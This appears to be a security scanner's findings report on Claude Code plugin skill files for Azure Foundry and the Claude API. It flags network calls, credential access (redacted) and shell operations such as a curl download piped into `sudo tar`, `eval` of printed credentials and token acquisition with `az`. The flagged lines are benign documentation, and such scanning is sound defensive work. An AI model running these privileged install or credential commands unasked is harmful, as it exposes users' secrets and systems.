rm python/packages/openai/pyproject.toml.bak - Dangerous shell operationline 273
rm python/pyproject.toml.bak - Dangerous shell operationline 281
rm python/packages/ag-ui/pyproject.toml.bak - Dangerous shell operationline 295
rm "${file}.bak" - Dangerous shell operationline 315
rm "${file}.bak"
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-sync/SKILL.md
- Network accessline 60
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 61
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 62
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 79
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 80
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 81
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 89
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 119
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 120
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 121
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 153
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 154
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 155
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 164
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 165
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 166
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/claude-code/plugins/open-horizons-platform/skills/foundry-ai-operations/SKILL.md
- Network accessline 128
# Test chat completion curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \ - Network accessline 129
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 134
# Test with managed identity (from AKS pod) curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \ - Network accessline 135
curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/LICENSE.txt
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/csharp/claude-api/README.md
- Network accessline 48
**Write a plain `Program.cs` body** — `using` statements followed by top-level statements, as below. Do **not** add a `#!/usr/bin/env dotnet` shebang or `#:package Anthropic@*` directive: those are .NET file-based-app syntax and fail with ` - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/curl/examples.md
- Network accessline 1
# Claude API — cURL / Raw HTTP - Access to secretsline 8
[Credential-related source omitted] - Network accessline 16
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Network accessline 36
# Capture the response, then extract fields response=$(curl -s https://api.anthropic.com/v1/messages \ - Network accessline 37
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 102
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Network accessline 127
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Network accessline 165
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Network accessline 190
# Fable 5 / Claude Opus 5 / Opus 4.8 / 4.7 / 4.6: adaptive thinking (recommended) curl https://api.anthropic.com/v1/messages \ - Network accessline 191
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 216
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/curl/managed-agents.md
- Network accessline 1
# Managed Agents — cURL / Raw HTTP - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Network accessline 24
curl -X POST https://api.anthropic.com/v1/environments \ - Network accessline 38
curl -X POST https://api.anthropic.com/v1/environments \ - Network accessline 63
# 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 64
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 73
# 2. Start a session curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 74
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 79
}' # → { "id": "sesn_abc123", ... } # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123 (swap 'default' for your workspace ID if the API key is not in the Default workspace) - Network accessline 81
# Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123 (swap 'default' for your workspace ID if the API key is not in the Default workspace) - Network accessline 87
# 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 88
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 111
# 2. Start a session with the repo mounted curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 112
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 119
{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 120
"type": "github_repository", "url": "https://github.com/owner/repo", "mount_path": "/workspace/repo", - Network accessline 121
"url": "https://github.com/owner/repo", - Network accessline 133
# Create a session with a hard $25.00 spend cap (list-priced; USD only; create-only). # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 134
# amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \ "${HEADERS[@]}" \ - Network accessline 135
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 146
# Change the cap — higher or lower, but it must exceed the consumed list cost. # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 147
# An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ "${HEADERS[@]}" \ - Network accessline 148
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 152
# Remove the cap entirely — one-way; a removed budget can never be re-added curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 153
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 165
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 182
curl -N https://api.anthropic.com/v1/sessions/$SESSION_ID/events/stream \ - Network accessline 204
# Get all events curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 205
curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 208
# Paginated — get next page of events curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \ - Network accessline 209
curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \ - Network accessline 220
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 238
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 254
curl https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 263
curl https://api.anthropic.com/v1/sessions \ - Network accessline 272
curl -X DELETE https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 281
[Credential-related source omitted] - Access to secretsline 281
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Network accessline 296
# List files associated with a session curl "https://api.anthropic.com/v1/files?scope_id=$SESSION_ID" \ - Network accessline 297
[Credential-related source omitted] - Access to secretsline 297
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Network accessline 302
# Download a specific file curl "https://api.anthropic.com/v1/files/$FILE_ID/content" \ - Network accessline 303
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Network accessline 315
curl https://api.anthropic.com/v1/agents \ - Network accessline 324
# 1. Agent declares MCP server (no auth here — auth goes in a vault) curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 325
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 329
"model": "claude-opus-5", "mcp_servers": [ { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } - Network accessline 330
"mcp_servers": [ { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } ], - Network accessline 331
{ "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } - Network accessline 339
# 2. Session attaches vault containing credentials for that MCP server URL curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 340
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 356
curl -X POST https://api.anthropic.com/v1/agents \
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/go/claude-api/README.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/go/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Go. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Go SDK repo **or the relevant docs page** from `shared/ - Access to secretsline 23
[Credential-related source omitted] - Network accessline 96
} fmt.Printf("Session ID: %s, status: %s\n", session.ID, session.Status) fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Defa - Network accessline 98
fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 390
Type: anthropic.BetaManagedAgentsURLMCPServerParamsTypeURL, Name: "github", URL: "https://api.githubcopilot.com/mcp/", - Network accessline 391
Name: "github", URL: "https://api.githubcopilot.com/mcp/", }}, - Network accessline 392
URL: "https://api.githubcopilot.com/mcp/", - Network accessline 449
OfMCPOAuth: &anthropic.BetaManagedAgentsMCPOAuthCreateParams{ Type: anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth, MCPServerURL: "https://mcp.slack.com/mcp", - Network accessline 450
Type: anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth, MCPServerURL: "https://mcp.slack.com/mcp", AccessToken: "xoxp-...", - Network accessline 451
MCPServerURL: "https://mcp.slack.com/mcp", - Network accessline 453
ExpiresAt: anthropic.Time(time.Date(2026, time.April, 15, 0, 0, 0, 0, time.UTC)), Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{ TokenEndpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 454
Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{ TokenEndpoint: "https://slack.com/api/oauth.v2.access", ClientID: "1234567890.0987654321", - Network accessline 455
TokenEndpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 511
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https:// - Network accessline 512
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/repo", MountPath: anthropic.String("/workspace/repo"), - Network accessline 513
URL: "https://github.com/org/repo", - Network accessline 530
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.c - Network accessline 531
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/frontend", MountPath: anthropic.String("/workspace/frontend"), - Network accessline 532
URL: "https://github.com/org/frontend", - Network accessline 538
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.c - Network accessline 539
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/backend", MountPath: anthropic.String("/workspace/backend"), - Network accessline 540
URL: "https://github.com/org/backend",
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/README.md
- Access to secretsline 66
[Credential-related source omitted] - Network accessline 191
DocumentBlockParam doc = DocumentBlockParam.builder() .source(Base64PdfSource.builder().data(base64String).build()) // or .source(UrlPdfSource.builder().url("https://...").build()) - Network accessline 192
.source(Base64PdfSource.builder().data(base64String).build()) // or .source(UrlPdfSource.builder().url("https://...").build()) .title("My Document") // optional - Network accessline 193
// or .source(UrlPdfSource.builder().url("https://...").build())
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/tool-use.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/java/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Java. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Java SDK repo **or the relevant docs page** from `sha - Access to secretsline 21
[Credential-related source omitted] - Network accessline 76
.build()); System.out.println("Session ID: " + session.id()); System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default - Network accessline 78
System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 301
.type(BetaManagedAgentsUrlMcpServerParams.Type.URL) .name("github") .url("https://api.githubcopilot.com/mcp/") - Network accessline 302
.name("github") .url("https://api.githubcopilot.com/mcp/") .build()) - Network accessline 303
.url("https://api.githubcopilot.com/mcp/") - Network accessline 356
.auth(BetaManagedAgentsMcpOAuthCreateParams.builder() .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH) .mcpServerUrl("https://mcp.slack.com/mcp") - Network accessline 357
.type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH) .mcpServerUrl("https://mcp.slack.com/mcp") .accessToken("xoxp-...") - Network accessline 358
.mcpServerUrl("https://mcp.slack.com/mcp") - Network accessline 360
.expiresAt(OffsetDateTime.parse("2026-04-15T00:00:00Z")) .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder() .tokenEndpoint("https://slack.com/api/oauth.v2.access") - Network accessline 361
.refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder() .tokenEndpoint("https://slack.com/api/oauth.v2.access") .clientId("1234567890.0987654321") - Network accessline 362
.tokenEndpoint("https://slack.com/api/oauth.v2.access") - Network accessline 402
.addResource(BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/repo") - Network accessline 403
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/repo") .mountPath("/workspace/repo") - Network accessline 404
.url("https://github.com/org/repo") - Network accessline 417
BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/frontend") - Network accessline 418
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/frontend") .mountPath("/workspace/frontend") - Network accessline 419
.url("https://github.com/org/frontend") - Network accessline 423
BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/backend") - Network accessline 424
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/backend") .mountPath("/workspace/backend") - Network accessline 425
.url("https://github.com/org/backend")
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/README.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/tool-use.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/php/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for PHP. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the PHP SDK repo **or the relevant docs page** from `share - Access to secretsline 18
[Credential-related source omitted] - Network accessline 65
); echo "Session ID: {$session->id}\n"; echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 67
echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 207
> ℹ<U+FE0F> **PHP file upload:** The PHP SDK's beta managed-agents file upload binding is not shown in the apps source examples; the canonical PHP example uses raw cURL against `POST /v1/files`. If your codebase prefers the SDK, WebFetch the `anth - Network accessline 212
// Raw cURL upload (canonical example from the apps source) - Network accessline 213
$csvPath = 'data.csv'; $ch = curl_init('https://api.anthropic.com/v1/files'); curl_setopt_array($ch, [ - Network accessline 214
$ch = curl_init('https://api.anthropic.com/v1/files'); - Access to secretsline 219
[Credential-related source omitted] - Network accessline 313
type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/', - Network accessline 314
name: 'github', url: 'https://api.githubcopilot.com/mcp/', ), - Network accessline 315
url: 'https://api.githubcopilot.com/mcp/', - Network accessline 357
auth: [ 'type' => 'mcp_oauth', 'mcp_server_url' => 'https://mcp.slack.com/mcp', - Network accessline 358
[Credential-related source omitted] - Network accessline 359
'mcp_server_url' => 'https://mcp.slack.com/mcp', - Access to secretsline 360
[Credential-related source omitted] - Network accessline 361
'expires_at' => '2026-04-15T00:00:00Z', 'refresh' => [ 'token_endpoint' => 'https://slack.com/api/oauth.v2.access', - Network accessline 362
'refresh' => [ 'token_endpoint' => 'https://slack.com/api/oauth.v2.access', 'client_id' => '1234567890.0987654321', - Network accessline 363
'token_endpoint' => 'https://slack.com/api/oauth.v2.access', - Access to secretsline 369
[Credential-related source omitted] - Access to secretsline 381
[Credential-related source omitted] - Network accessline 403
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/repo', - Network accessline 404
'type' => 'github_repository', 'url' => 'https://github.com/org/repo', 'mount_path' => '/workspace/repo', - Network accessline 405
'url' => 'https://github.com/org/repo', - Network accessline 417
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/frontend', - Network accessline 418
'type' => 'github_repository', 'url' => 'https://github.com/org/frontend', 'mount_path' => '/workspace/frontend', - Network accessline 419
'url' => 'https://github.com/org/frontend', - Network accessline 423
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/backend', - Network accessline 424
'type' => 'github_repository', 'url' => 'https://github.com/org/backend', 'mount_path' => '/workspace/backend', - Network accessline 425
'url' => 'https://github.com/org/backend',
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/README.md
- Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 53
`anthropic` 1.x is built on [`httpx2`](https://pypi.org/project/httpx2/), not `httpx`. `anthropic.Timeout` is `httpx2.Timeout`; if you import the HTTP library yourself, write `import httpx2 as httpx` — an object from the `httpx` package (`h - Network accessline 77
client = Anthropic( base_url="http://my.test.server.example.com:8083", # or ANTHROPIC_BASE_URL env var - Network accessline 78
base_url="http://my.test.server.example.com:8083", # or ANTHROPIC_BASE_URL env var - Network accessline 79
http_client=DefaultHttpxClient(proxy="http://my.test.proxy.example.com"), - Network accessline 178
"source": { "type": "url", "url": "https://example.com/image.png" - Network accessline 179
"type": "url", "url": "https://example.com/image.png" } - Network accessline 180
"url": "https://example.com/image.png"
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/sdk-upgrade.md
- Network accessline 18
**Target version.** Before writing any pin, confirm a 1.x release is actually published: `pip index versions anthropic` (or `curl -s https://pypi.org/pypi/anthropic/json` and read `info.version`). Use the newest 1.x you find. If no 1.x rele - Network accessline 60
- **[BREAKS] Objects passed in.** `httpx.Timeout`, `httpx.Limits`, transports (`httpx.HTTPTransport(...)`, `AsyncHTTPTransport`, `MockTransport`), and whole clients (`httpx.Client` / `AsyncClient` as `http_client=`) must come from `httpx2`. - Network accessline 67
client = Anthropic( timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 68
timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 69
http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)), - Network accessline 76
client = Anthropic( timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 77
timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 78
http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/tool-use.md
- Network accessline 91
**Beta.** Convert [MCP (Model Context Protocol)](https://modelcontextprotocol.io/) tools, prompts, and resources to Anthropic API types for use with the tool runner. Requires `pip install anthropic[mcp]` (Python 3.10+). - Network accessline 496
- `https://github.com/anthropics/anthropic-sdk-python/blob/main/examples/memory/basic.py`
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Python. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Python SDK repo **or the relevant docs page** from - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 62
) print(session.id, session.status) print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}") # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 64
print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}") # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 98
{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 99
"type": "github_repository", "url": "https://github.com/owner/repo", "mount_path": "/workspace/repo", - Network accessline 100
"url": "https://github.com/owner/repo", - Access to secretsline 102
[Credential-related source omitted] - Network accessline 195
> ⚠<U+FE0F> **Prefer the SDK over raw `requests`/`httpx`.** If you hand-roll a poll loop, don't assume `timeout=(5, 60)` or `httpx.Timeout(120)` caps total call duration — both are **per-chunk** read timeouts (reset on every byte), so a trickling - Network accessline 317
model="claude-opus-5", mcp_servers=[ {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"}, - Network accessline 318
mcp_servers=[ {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"}, ], - Network accessline 319
{"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/claude-api/README.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Ruby. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Ruby SDK repo **or the relevant docs page** from `sha - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Network accessline 64
) puts "Session ID: #{session.id}" puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}" # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 66
puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}" # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 271
type: "url", name: "github", url: "https://api.githubcopilot.com/mcp/" - Network accessline 272
name: "github", url: "https://api.githubcopilot.com/mcp/" } - Network accessline 273
url: "https://api.githubcopilot.com/mcp/" - Network accessline 308
auth: { type: "mcp_oauth", mcp_server_url: "https://mcp.slack.com/mcp", - Network accessline 309
[Credential-related source omitted] - Network accessline 310
mcp_server_url: "https://mcp.slack.com/mcp", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 312
expires_at: "2026-04-15T00:00:00Z", refresh: { token_endpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 313
refresh: { token_endpoint: "https://slack.com/api/oauth.v2.access", client_id: "1234567890.0987654321", - Network accessline 314
token_endpoint: "https://slack.com/api/oauth.v2.access", - Access to secretsline 320
[Credential-related source omitted] - Access to secretsline 332
[Credential-related source omitted] - Network accessline 354
{ type: "github_repository", url: "https://github.com/org/repo", - Network accessline 355
type: "github_repository", url: "https://github.com/org/repo", mount_path: "/workspace/repo", - Network accessline 356
url: "https://github.com/org/repo", - Network accessline 368
{ type: "github_repository", url: "https://github.com/org/frontend", - Network accessline 369
type: "github_repository", url: "https://github.com/org/frontend", mount_path: "/workspace/frontend", - Network accessline 370
url: "https://github.com/org/frontend", - Network accessline 374
{ type: "github_repository", url: "https://github.com/org/backend", - Network accessline 375
type: "github_repository", url: "https://github.com/org/backend", mount_path: "/workspace/backend", - Network accessline 376
url: "https://github.com/org/backend",
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/agent-design.md
- Network accessline 28
- **Security boundary.** Actions that require gating are natural candidates. Reversibility is a useful criterion: hard-to-reverse actions (external API calls, sending messages, deleting data) can be gated behind user confirmation. A `send_e
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/anthropic-cli.md
- Network accessline 23
# Linux / WSL — pick the release from github.com/anthropics/anthropic-cli/releases curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/am - Dangerous shell operationline 24
curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" | sudo tar -xz -C /usr/local/bin ant - Network accessline 24
curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" \ - Dangerous shell operationline 25
| sudo tar -xz -C /usr/local/bin ant - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Network accessline 57
# Bare access token — for curl's Authorization header curl https://api.anthropic.com/v1/messages \ - Network accessline 58
curl https://api.anthropic.com/v1/messages \ - Access to secretsline 65
[Credential-related source omitted] - Dangerous shell operationline 67
set -a; eval "$(ant auth print-credentials --env)"; set +a - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Network accessline 106
`--transform` takes a [GJSON path](https://github.com/tidwall/gjson/blob/master/SYNTAX.md). On list endpoints it runs **per item**, not on the envelope.
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/claude-platform-on-aws.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/error-codes.md
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/live-sources.md
- Network accessline 16
| Topic | URL | Extraction Prompt | | --------------- | --------------------------------------- - Network accessline 17
| --------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | | Models Overview | `https://platform.claude.com/docs/en/mo - Network accessline 18
| Models Overview | `https://platform.claude.com/docs/en/models/overview.md` | "Extract current model IDs, context windows, and pricing for all Claude models" | - Network accessline 19
| Migration Guide | `https://platform.claude.com/docs/en/about-claude/models/migration-guide.md` | "Extract breaking changes, deprecated parameters, and per-model migration steps when moving to a newer Claude model" | - Network accessline 20
| Introducing Claude Fable 5 | `https://platform.claude.com/docs/en/models/fable-5/introducing-claude-fable-5-and-claude-mythos-5.md` | "Extract capabilities, API changes, and availability stages for Claude Fable 5 and Claude Mythos 5" | - Network accessline 21
| Pricing | `https://platform.claude.com/docs/en/about-claude/pricing.md` | "Extract current pricing per million tokens for input and output" | - Network accessline 25
| Topic | URL | Extraction Prompt | | ----------------- | ---------------------------- - Network accessline 26
